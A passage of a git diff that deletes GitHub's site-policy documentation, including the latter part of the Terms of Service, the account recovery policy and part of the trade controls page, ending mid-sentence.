direct the actions of a machine account, but the owner of the Account is ultimately responsible for the machine's actions. You may maintain no more than one free machine account in addition to your free Personal Account. -* One person or legal entity may maintain no more than one free Account (if you choose to control a machine account as well, that's fine, but it can only be used for running a machine). -* You must be age 13 or older. While we are thrilled to see brilliant young coders get excited by learning to program, we must comply with United States law. GitHub does not target our Service to children under 13, and we do not permit any Users under 13 on our Service. If we learn of any User under the age of 13, we will [terminate that User’s Account immediately](#l-cancellation-and-termination). If you are a resident of a country outside the United States, your country’s minimum age may be older; in such a case, you are responsible for complying with your country’s laws. -* Your login may only be used by one person — i.e., a single login may not be shared by multiple people. A paid Organization may only provide access to as many Personal Accounts as your subscription allows. -* You may not use GitHub in violation of export control or sanctions laws of the United States or any other applicable jurisdiction. You may not use GitHub if you are or are working on behalf of a [Specially Designated National (SDN)](https://www.treasury.gov/resource-center/sanctions/SDN-List/Pages/default.aspx) or a person subject to similar blocking or denied party prohibitions administered by a U.S. government agency. GitHub may allow persons in certain sanctioned countries or territories to access certain GitHub services pursuant to U.S. government authorizations. For more information, please see our [Export Controls policy](/site-policy/other-site-policies/github-and-trade-controls). - -### 4. Account Security - -You are responsible for keeping your Account secure while you use our Service. We offer tools such as two-factor authentication to help you maintain your Account's security, but the content of your Account and its security are up to you. -* You are responsible for all content posted and activity that occurs under your Account (even when content is posted by others who have Accounts under your Account). -* You are responsible for maintaining the security of your Account and password. GitHub cannot and will not be liable for any loss or damage from your failure to comply with this security obligation. -* You will promptly notify GitHub by contacting us through the [GitHub Support portal](https://support.github.com/) if you become aware of any unauthorized use of, or access to, our Service through your Account, including any unauthorized use of your password or Account. - -### 5. Additional Terms - -In some situations, third parties' terms may apply to your use of GitHub. For example, you may be a member of an organization on GitHub with its own terms or license agreements; you may download an application that integrates with GitHub; or you may use GitHub to authenticate to another service. Please be aware that while these Terms are our full agreement with you, other parties' terms govern their relationships with you. - -If you are a government User or otherwise accessing or using any GitHub Service in a government capacity, this [Government Amendment to GitHub Terms of Service](/site-policy/site-policy-deprecated/amendment-to-github-terms-of-service-applicable-to-us-federal-government-users) applies to you, and you agree to its provisions. - -If you have signed up for GitHub Enterprise Cloud, the [Enterprise Cloud Addendum](/site-policy/site-policy-deprecated/github-enterprise-service-level-agreement) applies to you, and you agree to its provisions. - -## C. Acceptable Use - -**Short version:** _GitHub hosts a wide variety of collaborative projects from all over the world, and that collaboration only works when our users are able to work together in good faith. While using the service, you must follow the terms of this section, which include some restrictions on content you can post, conduct on the service, and other limitations. In short, be excellent to each other._ - -Your use of the Website and Service must not violate any applicable laws, including copyright or trademark laws, export control or sanctions laws, or other laws in your jurisdiction. You are responsible for making sure that your use of the Service is in compliance with laws and any applicable regulations. - -You agree that you will not under any circumstances violate our [Acceptable Use Policies](/site-policy/acceptable-use-policies/github-acceptable-use-policies) or [Community Guidelines](/site-policy/github-terms/github-community-guidelines). - -## D. User-Generated Content - -**Short version:** _You own content you create, but you allow us certain rights to it, so that we can display and share the content you post. You still have control over your content, and responsibility for it, and the rights you grant us are limited to those we need to provide the service. We have the right to remove content or close Accounts if we need to._ - -### 1. Responsibility for User-Generated Content - -You may create or upload User-Generated Content while using the Service. You are solely responsible for the content of, and for any harm resulting from, any User-Generated Content that you post, upload, link to or otherwise make available via the Service, regardless of the form of that Content. We are not responsible for any public display or misuse of your User-Generated Content. - -### 2. GitHub May Remove Content - -We have the right to refuse or remove any User-Generated Content that, in our sole discretion, violates any laws or [GitHub terms or policies](/site-policy). User-Generated Content displayed on GitHub Mobile may be subject to mobile app stores' additional terms. - -### 3. Ownership of Content, Right to Post, and License Grants - -You retain ownership of and responsibility for Your Content. If you're posting anything you did not create yourself or do not own the rights to, you agree that you are responsible for any Content you post; that you will only submit Content that you have the right to post; and that you will fully comply with any third party licenses relating to Content you post. - -Because you retain ownership of and responsibility for Your Content, we need you to grant us — and other GitHub Users — certain legal permissions, listed in Sections D.4 — D.7. These license grants apply to Your Content. If you upload Content that already comes with a license granting GitHub the permissions we need to run our Service, no additional license is required. You understand that you will not receive any payment for any of the rights granted in Sections D.4 — D.7. The licenses you grant to us will end when you remove Your Content from our servers, unless other Users have forked it. - -### 4. License Grant to Us - -We need the legal right to do things like host Your Content, publish it, and share it. You grant us and our legal successors the right to store, archive, parse, and display Your Content, and make incidental copies, as necessary to provide the Service, including improving the Service over time. This license includes the right to do things like copy it to our database and make backups; show it to you and other users; parse it into a search index or otherwise analyze it on our servers; share it with other users; and perform it, in case Your Content is something like music or video. - -This license does not grant GitHub the right to sell Your Content. It also does not grant GitHub the right to otherwise distribute or use Your Content outside of our provision of the Service, except that as part of the right to archive Your Content, GitHub may permit our partners to store and archive Your Content in public repositories in connection with the [GitHub Arctic Code Vault and GitHub Archive Program](https://archiveprogram.github.com/). - -### 5. License Grant to Other Users - -Any User-Generated Content you post publicly, including issues, comments, and contributions to other Users' repositories, may be viewed by others. By setting your repositories to be viewed publicly, you agree to allow others to view and "fork" your repositories (this means that others may make their own copies of Content from your repositories in repositories they control). - -If you set your pages and repositories to be viewed publicly, you grant each User of GitHub a nonexclusive, worldwide license to use, display, and perform Your Content through the GitHub Service and to reproduce Your Content solely on GitHub as permitted through GitHub's functionality (for example, through forking). You may grant further rights if you [adopt a license](/communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository#including-an-open-source-license-in-your-repository). If you are uploading Content you did not create or own, you are responsible for ensuring that the Content you upload is licensed under terms that grant these permissions to other GitHub Users. - -### 6. Contributions Under Repository License - -Whenever you add Content to a repository containing notice of a license, you license that Content under the same terms, and you agree that you have the right to license that Content under those terms. If you have a separate agreement to license that Content under different terms, such as a contributor license agreement, that agreement will supersede. - -Isn't this just how it works already? Yep. This is widely accepted as the norm in the open-source community; it's commonly referred to by the shorthand "inbound=outbound". We're just making it explicit. - -### 7. Moral Rights - -You retain all moral rights to Your Content that you upload, publish, or submit to any part of the Service, including the rights of integrity and attribution. However, you waive these rights and agree not to assert them against us, to enable us to reasonably exercise the rights granted in Section D.4, but not otherwise. - -To the extent this agreement is not enforceable by applicable law, you grant GitHub the rights we need to use Your Content without attribution and to make reasonable adaptations of Your Content as necessary to render the Website and provide the Service. - -## E. Private Repositories - -**Short version:** _We treat the content of private repositories as confidential, and we only access it as described in our Privacy Statement—for security purposes, to assist the repository owner with a support matter, to maintain the integrity of the Service, to comply with our legal obligations, if we have reason to believe the contents are in violation of the law, or with your consent._ - -### 1. Control of Private Repositories - -Some Accounts may have private repositories, which allow the User to control access to Content. - -### 2. Confidentiality of Private Repositories - -GitHub considers the contents of private repositories to be confidential to you. GitHub will protect the contents of private repositories from unauthorized use, access, or disclosure in the same manner that we would use to protect our own confidential information of a similar nature and in no event with less than a reasonable degree of care. - -### 3. Access - -GitHub personnel may only access the content of your private repositories in the situations described in our [Privacy Statement](/site-policy/privacy-policies/github-privacy-statement#repository-contents). - -You may choose to enable additional access to your private repositories. For example: -* You may enable various GitHub services or features that require additional rights to Your Content in private repositories. These rights may vary depending on the service or feature, but GitHub will continue to treat your private repository Content as confidential. If those services or features require rights in addition to those we need to provide the GitHub Service, we will provide an explanation of those rights. - -Additionally, we may be [compelled by law](/site-policy/privacy-policies/github-privacy-statement#for-legal-disclosure) to disclose the contents of your private repositories. - -GitHub will provide notice regarding our access to private repository content, unless [for legal disclosure](/site-policy/privacy-policies/github-privacy-statement#for-legal-disclosure), to comply with our legal obligations, or where otherwise bound by requirements under law, for automated scanning, or if in response to a security threat or other risk to security. - -## F. Copyright Infringement and DMCA Policy - -If you believe that content on our website violates your copyright, please contact us in accordance with our [Digital Millennium Copyright Act Policy](/site-policy/content-removal-policies/dmca-takedown-policy). If you are a copyright owner and you believe that content on GitHub violates your rights, please contact us via [our convenient DMCA form](https://github.com/contact/dmca) or by emailing [copyright@github.com](mailto:copyright@github.com). There may be legal consequences for sending a false or frivolous takedown notice. Before sending a takedown request, you must consider legal uses such as fair use and licensed uses. - -We will terminate the Accounts of [repeat infringers](/site-policy/content-removal-policies/dmca-takedown-policy#e-repeated-infringement) of this policy. - -## G. Intellectual Property Notice - -**Short version:** _We own the service and all of our content. In order for you to use our content, we give you certain rights to it, but you may only use our content in the way we have allowed._ - -### 1. GitHub's Rights to Content - -GitHub and our licensors, vendors, agents, and/or our content providers retain ownership of all intellectual property rights of any kind related to the Website and Service. We reserve all rights that are not expressly granted to you under this Agreement or by law. The look and feel of the Website and Service is copyright © GitHub, Inc. All rights reserved. You may not duplicate, copy, or reuse any portion of the HTML/CSS, JavaScript, or visual design elements or concepts without express written permission from GitHub. - -### 2. GitHub Trademarks and Logos - -If you’d like to use GitHub’s trademarks, you must follow all of our trademark guidelines, including those on our logos page: https://github.com/logos. - -### 3. License to GitHub Policies - -This Agreement is licensed under this [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/). For details, see our [site-policy repository](https://github.com/github/site-policy#license). - -## H. API Terms - -**Short version:** _You agree to these Terms of Service, plus this Section H, when using any of GitHub's APIs (Application Provider Interface), including use of the API through a third party product that accesses GitHub._ - -Abuse or excessively frequent requests to GitHub via the API may result in the temporary or permanent suspension of your Account's access to the API. GitHub, in our sole discretion, will determine abuse or excessive usage of the API. We will make a reasonable attempt to warn you via email prior to suspension. - -You may not share API tokens to exceed GitHub's rate limitations. - -You may not use the API to download data or Content from GitHub for spamming purposes, including for the purposes of selling GitHub users' personal information, such as to recruiters, headhunters, and job boards. - -All use of the GitHub API is subject to these Terms of Service and the [GitHub Privacy Statement](https://github.com/site/privacy). - -GitHub may offer subscription-based access to our API for those Users who require high-throughput access or access that would result in resale of GitHub's Service. - -## I. GitHub Additional Product Terms - -**Short version:** _You need to follow certain specific terms and conditions for GitHub's various features and products, and you agree to the Supplemental Terms and Conditions when you agree to this Agreement._ - -Some Service features may be subject to additional terms specific to that feature or product as set forth in the GitHub Additional Product Terms. By accessing or using the Services, you also agree to the [GitHub Additional Product Terms](/site-policy/github-terms/github-terms-for-additional-products-and-features). - -## J. Beta Previews - -**Short version:** _Beta Previews may not be supported or may change at any time. You may receive confidential information through those programs that must remain confidential while the program is private. We'd love your feedback to make our Beta Previews better._ - -### 1. Subject to Change - -Beta Previews may not be supported and may be changed at any time without notice. In addition, Beta Previews are not subject to the same security measures and auditing to which the Service has been and is subject. **By using a Beta Preview, you use it at your own risk.** - -### 2. Confidentiality - -As a user of Beta Previews, you may get access to special information that isn’t available to the rest of the world. Due to the sensitive nature of this information, it’s important for us to make sure that you keep that information secret. - -**Confidentiality Obligations.** You agree that any non-public Beta Preview information we give you, such as information about a private Beta Preview, will be considered GitHub’s confidential information (collectively, “Confidential Information”), regardless of whether it is marked or identified as such. You agree to only use such Confidential Information for the express purpose of testing and evaluating the Beta Preview (the “Purpose”), and not for any other purpose. You should use the same degree of care as you would with your own confidential information, but no less than reasonable precautions to prevent any unauthorized use, disclosure, publication, or dissemination of our Confidential Information. You promise not to disclose, publish, or disseminate any Confidential Information to any third party, unless we don’t otherwise prohibit or restrict such disclosure (for example, you might be part of a GitHub-organized group discussion about a private Beta Preview feature). - -**Exceptions.** Confidential Information will not include information that is: (a) or becomes publicly available without breach of this Agreement through no act or inaction on your part (such as when a private Beta Preview becomes a public Beta Preview); (b) known to you before we disclose it to you; (c) independently developed by you without breach of any confidentiality obligation to us or any third party; or (d) disclosed with permission from GitHub. You will not violate the terms of this Agreement if you are required to disclose Confidential Information pursuant to operation of law, provided GitHub has been given reasonable advance written notice to object, unless prohibited by law. - -### 3. Feedback - -We’re always trying to improve of products and services, and your feedback as a Beta Preview user will help us do that. If you choose to give us any ideas, know-how, algorithms, code contributions, suggestions, enhancement requests, recommendations or any other feedback for our products or services (collectively, “Feedback”), you acknowledge and agree that GitHub will have a royalty-free, fully paid-up, worldwide, transferable, sub-licensable, irrevocable and perpetual license to implement, use, modify, commercially exploit and/or incorporate the Feedback into our products, services, and documentation. - -## K. Payment - -**Short version:** _You are responsible for any fees associated with your use of GitHub. We are responsible for communicating those fees to you clearly and accurately, and letting you know well in advance if those prices change._ - -### 1. Pricing - -Our pricing and payment terms are available at [github.com/pricing](https://github.com/pricing). If you agree to a subscription price, that will remain your price for the duration of the payment term; however, prices are subject to change at the end of a payment term. - -### 2. Upgrades, Downgrades, and Changes - -* We will immediately bill you when you upgrade from the free plan to any paying plan. -* If you change from a monthly billing plan to a yearly billing plan, GitHub will bill you for a full year at the next monthly billing date. -* If you upgrade to a higher level of service, we will bill you for the upgraded plan immediately. -* You may change your level of service at any time by [choosing a plan option](https://github.com/pricing) or going into your [Billing settings](https://github.com/settings/billing). If you choose to downgrade your Account, you may lose access to Content, features, or capacity of your Account. Please see our section on [Cancellation](#l-cancellation-and-termination) for information on getting a copy of that Content. - -### 3. Billing Schedule; No Refunds - -**Payment Based on Plan** For monthly or yearly payment plans, the Service is billed in advance on a monthly or yearly basis respectively and is non-refundable. There will be no refunds or credits for partial months of service, downgrade refunds, or refunds for months unused with an open Account; however, the service will remain active for the length of the paid billing period. In order to treat everyone equally, no exceptions will be made. - -**Payment Based on Usage** Some Service features are billed based on your usage. A limited quantity of these Service features may be included in your plan for a limited term without additional charge. If you choose to use paid Service features beyond the quantity included in your plan, you pay for those Service features based on your actual usage in the preceding month. Monthly payment for these purchases will be charged on a periodic basis in arrears. See [GitHub Additional Product Terms for Details](/site-policy/github-terms/github-terms-for-additional-products-and-features). - -**Invoicing** For invoiced Users, User agrees to pay the fees in full, up front without deduction or setoff of any kind, in U.S. Dollars. User must pay the fees within thirty (30) days of the GitHub invoice date. Amounts payable under this Agreement are non-refundable, except as otherwise provided in this Agreement. If User fails to pay any fees on time, GitHub reserves the right, in addition to taking any other action at law or equity, to (i) charge interest on past due amounts at 1.0% per month or the highest interest rate allowed by law, whichever is less, and to charge all expenses of recovery, and (ii) terminate the applicable order form. User is solely responsible for all taxes, fees, duties and governmental assessments (except for taxes based on GitHub's net income) that are imposed or become due in connection with this Agreement. - -### 4. Authorization - -By agreeing to these Terms, you are giving us permission to charge your on-file credit card, PayPal account, or other approved methods of payment for fees that you authorize for GitHub. - -### 5. Responsibility for Payment - -You are responsible for all fees, including taxes, associated with your use of the Service. By using the Service, you agree to pay GitHub any charge incurred in connection with your use of the Service. If you dispute the matter, contact us through the [GitHub Support portal](https://support.github.com/). You are responsible for providing us with a valid means of payment for paid Accounts. Free Accounts are not required to provide payment information. - -## L. Cancellation and Termination - -**Short version:** _You may close your Account at any time. If you do, we'll treat your information responsibly._ - -### 1. Account Cancellation - -It is your responsibility to properly cancel your Account with GitHub. You can [cancel your Account at any time](/billing/managing-the-plan-for-your-github-account/downgrading-your-accounts-plan) by going into your Settings in the global navigation bar at the top of the screen. The Account screen provides a simple, no questions asked cancellation link. We are not able to cancel Accounts in response to an email or phone request. - -### 2. Upon Cancellation - -We will retain and use your information as necessary to comply with our legal obligations, resolve disputes, and enforce our agreements, but barring legal requirements, we will delete your full profile and the Content of your repositories within 90 days of cancellation or termination (though some information may remain in encrypted backups). This information cannot be recovered once your Account is canceled. - -We will not delete Content that you have contributed to other Users' repositories or that other Users have forked. - -Upon request, we will make a reasonable effort to provide an Account owner with a copy of your lawful, non-infringing Account contents after Account cancellation, termination, or downgrade. You must make this request within 90 days of cancellation, termination, or downgrade. - -### 3. GitHub May Terminate - -GitHub has the right to suspend or terminate your access to all or any part of the Website at any time, with or without cause, with or without notice, effective immediately. GitHub reserves the right to refuse service to anyone for any reason at any time. - -### 4. Survival - -All provisions of this Agreement which, by their nature, should survive termination _will_ survive termination — including, without limitation: ownership provisions, warranty disclaimers, indemnity, and limitations of liability. - -## M. Communications with GitHub - -**Short version:** _We use email and other electronic means to stay in touch with our users._ - -### 1. Electronic Communication Required - -For contractual purposes, you (1) consent to receive communications from us in an electronic form via the email address you have submitted or via the Service; and (2) agree that all Terms of Service, agreements, notices, disclosures, and other communications that we provide to you electronically satisfy any legal requirement that those communications would satisfy if they were on paper. This section does not affect your non-waivable rights. - -### 2. Legal Notice to GitHub Must Be in Writing - -Communications made through email or GitHub Support's messaging system will not constitute legal notice to GitHub or any of its officers, employees, agents or representatives in any situation where notice to GitHub is required by contract or any law or regulation. Legal notice to GitHub must be in writing and [served on GitHub's legal agent](/site-policy/other-site-policies/guidelines-for-legal-requests-of-user-data#submitting-requests). - -### 3. No Phone Support - -GitHub only offers support via email, in-Service communications, and electronic messages. We do not offer telephone support. - -## N. Disclaimer of Warranties - -**Short version:** _We provide our service as is, and we make no promises or guarantees about this service. Please read this section carefully; you should understand what to expect._ - -GitHub provides the Website and the Service “as is” and “as available,” without warranty of any kind. Without limiting this, we expressly disclaim all warranties, whether express, implied or statutory, regarding the Website and the Service including without limitation any warranty of merchantability, fitness for a particular purpose, title, security, accuracy and non-infringement. - -GitHub does not warrant that the Service will meet your requirements; that the Service will be uninterrupted, timely, secure, or error-free; that the information provided through the Service is accurate, reliable or correct; that any defects or errors will be corrected; that the Service will be available at any particular time or location; or that the Service is free of viruses or other harmful components. You assume full responsibility and risk of loss resulting from your downloading and/or use of files, information, content or other material obtained from the Service. - -## O. Limitation of Liability - -**Short version:** _We will not be liable for damages or losses arising from your use or inability to use the service or otherwise arising under this agreement. Please read this section carefully; it limits our obligations to you._ - -You understand and agree that we will not be liable to you or any third party for any loss of profits, use, goodwill, or data, or for any incidental, indirect, special, consequential or exemplary damages, however arising, that result from - - - -* the use, disclosure, or display of your User-Generated Content; -* your use or inability to use the Service; -* any modification, price change, suspension or discontinuance of the Service; -* the Service generally or the software or systems that make the Service available; -* unauthorized access to or alterations of your transmissions or data; -* statements or conduct of any third party on the Service; -* any other user interactions that you input or receive through your use of the Service; or -* any other matter relating to the Service. - - - -Our liability is limited whether or not we have been informed of the possibility of such damages, and even if a remedy set forth in this Agreement is found to have failed of its essential purpose. We will have no liability for any failure or delay due to matters beyond our reasonable control. - -## P. Release and Indemnification - -**Short version:** _You are responsible for your use of the service. If you harm someone else or get into a dispute with someone else, we will not be involved._ - -If you have a dispute with one or more Users, you agree to release GitHub from any and all claims, demands and damages (actual and consequential) of every kind and nature, known and unknown, arising out of or in any way connected with such disputes. - -You agree to indemnify us, defend us, and hold us harmless from and against any and all claims, liabilities, and expenses, including attorneys’ fees, arising out of your use of the Website and the Service, including but not limited to your violation of this Agreement, provided that GitHub (1) promptly gives you written notice of the claim, demand, suit or proceeding; (2) gives you sole control of the defense and settlement of the claim, demand, suit or proceeding (provided that you may not settle any claim, demand, suit or proceeding unless the settlement unconditionally releases GitHub of all liability); and (3) provides to you all reasonable assistance, at your expense. - -## Q. Changes to These Terms - -**Short version:** _We want our users to be informed of important changes to our terms, but some changes aren't that important — we don't want to bother you every time we fix a typo. So while we may modify this agreement at any time, we will notify users of any material changes and give you time to adjust to them._ - -We reserve the right, at our sole discretion, to amend these Terms of Service at any time and will update these Terms of Service in the event of any such amendments. We will notify our Users of material changes to this Agreement, such as price increases, at least 30 days prior to the change taking effect by posting a notice on our Website or sending email to the primary email address specified in your GitHub account. Customer's continued use of the Service after those 30 days constitutes agreement to those revisions of this Agreement. For any other modifications, your continued use of the Website constitutes agreement to our revisions of these Terms of Service. You can view all changes to these Terms in our [Site Policy](https://github.com/github/site-policy) repository. - -We reserve the right at any time and from time to time to modify or discontinue, temporarily or permanently, the Website (or any part of it) with or without notice. - -## R. Miscellaneous - -### 1. Governing Law - -Except to the extent applicable law provides otherwise, this Agreement between you and GitHub and any access to or use of the Website or the Service are governed by the federal laws of the United States of America and the laws of the State of California, without regard to conflict of law provisions. You and GitHub agree to submit to the exclusive jurisdiction and venue of the courts located in the City and County of San Francisco, California. - -### 2. Non-Assignability - -GitHub may assign or delegate these Terms of Service and/or the [GitHub Privacy Statement](https://github.com/site/privacy), in whole or in part, to any person or entity at any time with or without your consent, including the license grant in Section D.4. You may not assign or delegate any rights or obligations under the Terms of Service or Privacy Statement without our prior written consent, and any unauthorized assignment and delegation by you is void. - -### 3. Section Headings and Summaries - -Throughout this Agreement, each section includes titles and brief summaries of the following terms and conditions. These section titles and brief summaries are not legally binding. - -### 4. Severability, No Waiver, and Survival - -If any part of this Agreement is held invalid or unenforceable, that portion of the Agreement will be construed to reflect the parties’ original intent. The remaining portions will remain in full force and effect. Any failure on the part of GitHub to enforce any provision of this Agreement will not be considered a waiver of our right to enforce such provision. Our rights under this Agreement will survive any termination of this Agreement. - -### 5. Amendments; Complete Agreement - -This Agreement may only be modified by a written amendment signed by an authorized representative of GitHub, or by the posting by GitHub of a revised version in accordance with [Section Q. Changes to These Terms](#q-changes-to-these-terms). These Terms of Service, together with the GitHub Privacy Statement, represent the complete and exclusive statement of the agreement between you and us. This Agreement supersedes any proposal or prior agreement oral or written, and any other communications between you and GitHub relating to the subject matter of these terms including any confidentiality or nondisclosure agreements. - -### 6. Questions - -Questions about the Terms of Service? Contact us through the [GitHub Support portal](https://support.github.com/). diff --git a/content/site-policy/github-terms/index.md b/content/site-policy/github-terms/index.md deleted file mode 100644 index cfd4e9d265b5..000000000000 --- a/content/site-policy/github-terms/index.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: GitHub Terms -versions: - fpt: '*' -topics: - - Policy - - Legal -children: - - /github-terms-of-service - - /github-corporate-terms-of-service - - /github-terms-for-additional-products-and-features - - /github-community-guidelines - - /github-community-code-of-conduct - - /github-pre-release-license-terms - - /github-sponsors-additional-terms - - /github-registered-developer-agreement - - /github-marketplace-terms-of-service - - /github-marketplace-developer-agreement - - /github-research-program-terms - - /github-open-source-applications-terms-and-conditions - - /github-event-terms - - /github-event-code-of-conduct - - /github-educational-use-agreement - - /github-copilot-extension-developer-policy ---- diff --git a/content/site-policy/index.md b/content/site-policy/index.md deleted file mode 100644 index 598f70e54174..000000000000 --- a/content/site-policy/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Site policy documentation -shortTitle: Site policy -redirect_from: - - /categories/61/articles - - /categories/site-policy - - /github/site-policy -versions: - fpt: '*' -topics: - - Policy - - Legal -children: - - /github-terms - - /acceptable-use-policies - - /privacy-policies - - /other-site-policies - - /content-removal-policies - - /security-policies - - /github-company-policies - - /site-policy-deprecated ---- - diff --git a/content/site-policy/other-site-policies/github-account-recovery-policy.md b/content/site-policy/other-site-policies/github-account-recovery-policy.md deleted file mode 100644 index ceeaaa849273..000000000000 --- a/content/site-policy/other-site-policies/github-account-recovery-policy.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: GitHub Account Recovery Policy -versions: - fpt: '*' -topics: - - 2FA - - Policy - - Legal ---- - -GitHub provides [a number of account recovery methods](/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials) including an [automated recovery process](/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials#authenticating-with-a-verified-device-ssh-token-or-personal-access-token) if you have lost access to your GitHub.com account. **If you cannot use any of the provided recovery methods, you have permanently lost access to your account.** - -You can, however, [unlink email addresses](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/unlinking-your-email-address-from-a-locked-account) from a locked account in order to create a new account or use the email on another existing account. - -## Can I open a support ticket to recover my account? - -For security reasons, **GitHub Support will not restore access to accounts with two-factor authentication enabled if you lose your two-factor authentication credentials or lose access to your account recovery methods.** You must use existing [account recovery methods](/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials). - -GitHub does not support any other means of account recovery, including social or ID verification, by members of GitHub’s staff. This policy is in place to protect your account from unauthorized access through social engineering. - -## How can I retrieve my email from a locked account? - -See [Unlinking your email address from a locked account](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/unlinking-your-email-address-from-a-locked-account). - -## How can I remove a payment method from a locked account? - -Please contact Support to request removal of a payment method from a locked out account. Remember, **GitHub Support will not restore your account** if you lose access to your account recovery methods. - -## Can I recover the contents of a user or organization account I lost access to? - -If you have lost access to a user account, you may [clone](/repositories/creating-and-managing-repositories/cloning-a-repository) or [fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/fork-a-repo) any content that is public. - -If you have lost access to an organization account, you may clone or fork any content that is public and you may be able to request that remaining members of the organization clone or fork any private content. - -GitHub Support will not recover the contents of a user or organization account that is locked. diff --git a/content/site-policy/other-site-policies/github-and-trade-controls.md b/content/site-policy/other-site-policies/github-and-trade-controls.md deleted file mode 100644 index 58916dfa7277..000000000000 --- a/content/site-policy/other-site-policies/github-and-trade-controls.md +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: GitHub and Trade Controls -redirect_from: - - /articles/github-and-export-controls - - /articles/github-and-trade-control - - /articles/github-and-trade-controls - - /github/site-policy/github-and-export-controls - - /github/site-policy/github-and-trade-controls - - /github/site-policy/github-terms-and-other-site-policies/github-and-trade-controls -versions: - fpt: '*' -topics: - - Policy - - Legal ---- - -GitHub.com, GitHub Enterprise Server, and the information you upload to either product may be subject to trade control regulations, including under the U.S. Export Administration Regulations (the EAR). - -GitHub’s vision is to be the global platform for developer collaboration, no matter where developers reside. We take seriously our responsibility to examine government sanctions thoroughly to be certain that users and customers are not impacted beyond what is required by law. This includes keeping public repository services, including those for open source projects, available and accessible to support personal communications involving developers in sanctioned regions. This also means GitHub will advocate for developers in sanctioned regions to enjoy greater access to the platform and full access to the global open source community. - -As a result of our advocacy and hard work with U.S. regulators, GitHub has secured a license from the U.S. Treasury Department’s Office of Foreign Assets Control (OFAC) to restore our cloud services to developers in Iran. And we will continue to work with U.S. regulators to secure similar licenses to offer collaboration services to developers in other sanctioned regions, such as Syria and Crimea. We are committed to advocating for the broadest possible developer access, as we believe offering code collaboration services for developers in sanctioned regions makes the global developer community stronger, advances human progress, and supports the enduring U.S. foreign policy of promoting free speech and the free flow of information. For information about the license we secured for developers in Iran, read [the blog post](https://github.blog/2021-01-05-advancing-developer-freedom-github-is-fully-available-in-iran). - -Although we've provided the following information below for your convenience, it is ultimately your responsibility to ensure that your use of GitHub's products and services complies with all applicable laws and regulations, including U.S. export control laws. - -## Export overview - -### GitHub.com - -Under our [Terms of Service](/site-policy/github-terms/github-terms-of-service), users may only access and use GitHub.com in compliance with applicable law, including U.S. export control and sanctions laws. - -Users are responsible for ensuring that the content they develop and share on GitHub.com complies with the U.S. export control laws, including the EAR and the U.S. International Traffic in Arms Regulations (ITAR). The cloud-hosted service offering available at [GitHub.com](https://github.com) has not been designed to host data subject to the ITAR and does not currently offer the ability to restrict repository access by country. If you are looking to collaborate on ITAR- or other export-controlled data, we recommend you consider [GitHub Enterprise Server](https://enterprise.github.com), GitHub's on-premises offering. - -GitHub now has a license from OFAC to provide cloud services to developers located or otherwise resident in Iran. This includes all public and private services for individuals and organizations, both free and paid. - -GitHub cloud services, both free and paid, are also generally available to developers located in Cuba. - -Specially Designated Nationals (SDNs), other denied or blocked parties under U.S. and other applicable law, and certain government officials, may be restricted from accessing or using GitHub.com. Additionally, users may not use GitHub.com for or on behalf of such parties, generally including the Governments of sanctioned countries. Furthermore, GitHub.com may not be used for purposes prohibited under applicable export control laws, including prohibited end uses described in [15 CFR 744](https://www.ecfr.gov/cgi-bin/text-idx?SID=ad384e1f1e017076f8c0136f322f0a4c&mc=true&node=pt15.2.744&rgn=div5). - -### GitHub Enterprise Server - -GitHub Enterprise Server is a self-hosted virtual appliance that can be run within your own datacenter or virtual private cloud. As such, GitHub Enterprise Server can be used to store ITAR- or other export-controlled information, although, end users are nonetheless responsible for ensuring compliance with the ITAR and other applicable export controls. - -GitHub Enterprise Server is a commercial, mass-market product and has been assigned the Export Control Classification Number (ECCN) of `5D992.c` and may be exported to most destinations with no license required (NLR). - -GitHub Enterprise Server may not be sold to, exported, or re-exported to any country listed in Country Group E:1 in Supplement No. 1 to part 740 of the EAR or to the following regions of Ukraine: Crimea and the separatist areas of Donetsk and Luhansk. The countries listed currently include Cuba, Iran, North Korea, Syria, Russia, and Belarus, but this list is subject to change. - -### GitHub Copilot - -GitHub Copilot is a commercial, mass-market product and has been assigned the Export Control Classification Number (ECCN) of 5D992.c and may be exported to most destinations with no license required (NLR). - -GitHub Copilot may not be sold, exported, or re-exported to any embargoed destination or a country listed in Country Group E:1 in Supplement No. 1 to part 740 of the EAR without authorization. These destinations currently include Cuba, Iran, North Korea, Syria, Russia, Belarus, and the following regions of Ukraine: Crimea/Sevastopol and the separatist areas of Donetsk and Luhansk. This list is subject to change. - -## Frequently asked questions - -### On which countries and territories are U.S. government sanctions applied? - -Crimea, the separatist areas of Donetsk and Luhansk, Cuba, Iran, North Korea, and Syria. With respect to Iran, however, GitHub now has a license from the U.S. Treasury Department's Office of Foreign Assets Control (OFAC) to provide cloud services to developers located or otherwise resident in that country. GitHub cloud services, both free and paid, are also generally available to developers located in Cuba. - -### How is GitHub ensuring that folks not living in and/or having professional links to the sanctioned countries and territories still have access or ability to appeal? - -In the rare instance that an account is affected unintentionally or in error, we have an appeal process to address such instances. - -If an individual user or organization owner believes that they have been flagged in error, then that user has the opportunity to appeal the flag by providing verification information to GitHub. If GitHub receives sufficient information to verify that the user or organization is not affiliated with a U.S.-sanctioned jurisdiction for which we do not have a license or otherwise restricted by U.S. economic sanctions, then the flag will be removed. Please see [individual account appeals request form](https://airtable.com/shrGBcceazKIoz6pY) and [organizational account appeals request form](https://airtable.com/shrB2je5RBkqLEt5D). - -### Will traveling in these regions be impacted? - -Travel in these regions may impact your account status, but availability may be reinstated once you are outside of the sanctioned region and upon submitting a successful [individual account appeals request](https://airtable.com/shrGBcceazKIoz6pY) or an [organizational account appeals request](https://airtable.com/shrB2je5RBkqLEt5D). - -### What is available and not available? - -GitHub now has a license from OFAC to provide cloud services to developers located or otherwise resident in the U.S.-sanctioned country of Iran. The license includes all public and private services for individuals and organizations, both free and paid. GitHub cloud services, both free and paid, are also generally available to developers 